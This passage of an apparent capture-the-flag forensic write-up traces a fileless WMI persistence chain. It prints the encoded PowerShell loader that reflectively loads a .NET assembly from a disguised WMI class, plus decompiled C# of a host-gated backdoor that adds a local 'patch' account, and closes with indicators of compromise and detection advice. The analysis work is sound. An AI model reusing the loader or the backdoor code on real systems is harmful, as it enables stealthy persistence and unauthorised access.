&lt;pre class="highlight plaintext"&gt;&lt;code&gt;...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;CommandLineEventConsumer&lt;/code&gt; is one of the two classic WMI event-consumer&lt;br&gt;
types abused for fileless persistence (the other being&lt;br&gt;
&lt;code&gt;ActiveScriptEventConsumer&lt;/code&gt;) - paired with a &lt;code&gt;__EventFilter&lt;/code&gt; and a&lt;br&gt;
&lt;code&gt;__FilterToConsumerBinding&lt;/code&gt;, it lets an attacker run an arbitrary command&lt;br&gt;
line every time a WMI event fires (logon, a timer interval, process&lt;br&gt;
creation, etc.), with no file ever touching disk for the initial trigger.&lt;br&gt;
The same object appeared four times at different offsets in the file -&lt;br&gt;
consistent with the CIM repository's own internal versioning (older&lt;br&gt;
generations of the same object surviving in unallocated/log regions), which&lt;br&gt;
is itself a normal and expected artifact of how the repository is written.&lt;/p&gt;
&lt;h2&gt;
  
  
  Decoding Stage 1 (PowerShell)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;-enc&lt;/code&gt; payloads in PowerShell are always base64-encoded UTF-16LE - decoded&lt;br&gt;
directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="n"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JABmAGkAbABlACAAPQAg...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# full string extracted from OBJECTS.DATA
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-16le&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;WmiClass&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="s1"&gt;'ROOT\cimv2:Win32_HardwareTelemetry'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'ConfigData'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IO.MemoryStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IO.Compression.DeflateStream&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IO.MemoryStream&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;),[&lt;/span&gt;&lt;span class="n"&gt;IO.Compression.CompressionMode&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Decompress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;[](&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$o&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Reflection.Assembly&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$o&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToArray&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;EntryPoint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$null&lt;/span&gt;&lt;span class="p"&gt;,@(,[&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]]@()))&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;Out-Null&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script doesn't do anything malicious by itself - its entire job is to&lt;br&gt;
&lt;strong&gt;read a second payload out of a disguised WMI class property&lt;/strong&gt;&lt;br&gt;
(&lt;code&gt;Win32_HardwareTelemetry.ConfigData&lt;/code&gt; - a plausible-sounding but entirely&lt;br&gt;
custom class, not a real Windows telemetry class), base64-decode it, run it&lt;br&gt;
through a raw DEFLATE decompressor, and load the result directly into memory&lt;br&gt;
as a .NET assembly via reflection - then invoke its entry point. No second&lt;br&gt;
file ever touches disk; the whole second stage lives only inside the&lt;br&gt;
PowerShell process's memory.&lt;/p&gt;
&lt;h2&gt;
  
  
  Extracting Stage 2 (the .NET assembly)
&lt;/h2&gt;

&lt;p&gt;Located and extracted the &lt;code&gt;Win32_HardwareTelemetry.ConfigData&lt;/code&gt; string value&lt;br&gt;
from &lt;code&gt;OBJECTS.DATA&lt;/code&gt; (found via the same class/property name pair, immediately&lt;br&gt;
following a &lt;code&gt;string\x00\x00&lt;/code&gt; type marker in the object's property table):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OBJECTS.DATA&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Win32_HardwareTelemetry&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;string&lt;/span&gt;&lt;span class="se"&gt;\x00\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;compressed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;decompressed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compressed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# raw DEFLATE, no zlib header
&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;payload.exe&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decompressed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file payload.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A genuine 4 KB .NET assembly dropped straight out of a WMI property value -&lt;br&gt;
this confirms the entire chain was a working fileless persistence /&lt;br&gt;
logic-bomb setup, not just a red herring.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reversing the Payload
&lt;/h2&gt;

&lt;p&gt;ASCII strings gave the .NET metadata (type names, method names) but not the&lt;br&gt;
runtime string literals, which .NET stores separately in the User String&lt;br&gt;
(&lt;code&gt;#US&lt;/code&gt;) heap as UTF-16:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings &lt;span class="nt"&gt;-n&lt;/span&gt; 4 payload.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;Module&amp;gt;
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This much confirms the shape of the logic: read the machine name, compare&lt;br&gt;
it, and conditionally start a process. The actual comparison value and the&lt;br&gt;
command line only showed up in the UTF-16 string scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings &lt;span class="nt"&gt;-e&lt;/span&gt; l &lt;span class="nt"&gt;-n&lt;/span&gt; 4 payload.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bytelotusdc
cmd.exe
/c net user patch &amp;lt;REDACTED_B64&amp;gt; /add
Execution halted: Environment mismatch.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Putting the decompiled logic back together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MachineName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"bytelotusdc"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;psi&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ProcessStartInfo&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;FileName&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Arguments&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/c net user patch &amp;lt;REDACTED_B64&amp;gt; /add"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;WindowStyle&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ProcessWindowStyle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Hidden&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;CreateNoWindow&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;psi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Execution halted: Environment mismatch."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a machine-name-gated backdoor: on a host named exactly&lt;br&gt;
&lt;code&gt;bytelotusdc&lt;/code&gt; (almost certainly the domain controller in the "Byte Lotus"&lt;br&gt;
environment this repository was pulled from), it silently creates a local&lt;br&gt;
account named &lt;code&gt;patch&lt;/code&gt; with a base64-encoded password - and does nothing&lt;br&gt;
observable at all on any other host, which is what kept it from surfacing in&lt;br&gt;
the earlier broad string searches for &lt;code&gt;flag&lt;/code&gt;/&lt;code&gt;thm&lt;/code&gt;/&lt;code&gt;ctf&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Decoding the Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;REDACTED_B64&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backdoor's password &lt;em&gt;is&lt;/em&gt; the flag, base64-encoded - a fitting final step&lt;br&gt;
for a challenge built entirely around obfuscation layered on top of&lt;br&gt;
obfuscation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Findings
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;WMI persistence&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CommandLineEventConsumer&lt;/code&gt; running &lt;code&gt;powershell.exe -enc ...&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Execution trigger, no file dropped for stage 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Stage 1 (PowerShell)&lt;/td&gt;
&lt;td&gt;Reads a custom WMI class property (&lt;code&gt;Win32_HardwareTelemetry.ConfigData&lt;/code&gt;), base64 + raw-DEFLATE decodes it&lt;/td&gt;
&lt;td&gt;Retrieves stage 2 from a disguised, fileless storage location&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Stage 2 (.NET assembly)&lt;/td&gt;
&lt;td&gt;Loaded and invoked entirely via &lt;code&gt;Reflection.Assembly.Load(...)&lt;/code&gt; in memory&lt;/td&gt;
&lt;td&gt;Runs the actual payload logic with no second file on disk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Payload logic&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Environment.MachineName&lt;/code&gt; equality check&lt;/td&gt;
&lt;td&gt;Limits execution to a specific named host, evading generic detection/sandboxes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Payload action&lt;/td&gt;
&lt;td&gt;&lt;code&gt;net user patch &amp;lt;base64&amp;gt; /add&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Creates a hidden local backdoor account; password doubles as the flag&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Indicators of Compromise
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;WMI class &lt;code&gt;Win32_HardwareTelemetry&lt;/code&gt; with a string property &lt;code&gt;ConfigData&lt;/code&gt; - not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property is worth treating as suspicious.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CommandLineEventConsumer&lt;/code&gt; invoking &lt;code&gt;powershell.exe&lt;/code&gt; with &lt;code&gt;-enc&lt;/code&gt; and referencing &lt;code&gt;[WmiClass]&lt;/code&gt; / &lt;code&gt;.Properties[...]&lt;/code&gt; in the decoded command - a strong signal of WMI-as-storage abuse, not just WMI-as-trigger.&lt;/li&gt;
&lt;li&gt;Local account named &lt;code&gt;patch&lt;/code&gt; created outside of normal patch-management tooling, on a host matching the hardcoded &lt;code&gt;bytelotusdc&lt;/code&gt; machine name check.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;net user ... /add&lt;/code&gt; launched as a child of &lt;code&gt;cmd.exe&lt;/code&gt;, itself a child of &lt;code&gt;powershell.exe&lt;/code&gt;, itself triggered by &lt;code&gt;WmiPrvSE.exe&lt;/code&gt; / &lt;code&gt;scrcons.exe&lt;/code&gt; rather than an interactive logon - the expected process lineage for WMI event consumer execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Detection &amp;amp; Mitigation Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Monitor and alert on &lt;code&gt;__EventFilter&lt;/code&gt;, &lt;code&gt;__EventConsumer&lt;/code&gt;, and &lt;code&gt;__FilterToConsumerBinding&lt;/code&gt; instance creation in &lt;code&gt;root\subscription&lt;/code&gt; (and &lt;code&gt;root\default&lt;/code&gt; on older systems) - legitimate use of WMI event subscriptions outside of known management tooling (SCCM, monitoring agents) is rare.&lt;/li&gt;
&lt;li&gt;Treat any custom, non-Microsoft WMI class as suspicious if it stores large string/blob properties - this is a known technique for fileless payload storage precisely because the CIM repository is rarely inspected and persists across reboots.&lt;/li&gt;
&lt;li&gt;Enable and review PowerShell Script Block Logging (Event ID 4104) - it captures the &lt;em&gt;decoded&lt;/em&gt; content of &lt;code&gt;-enc&lt;/code&gt; payloads, which would have surfaced this entire chain immediately without manual base64/DEFLATE work.&lt;/li&gt;
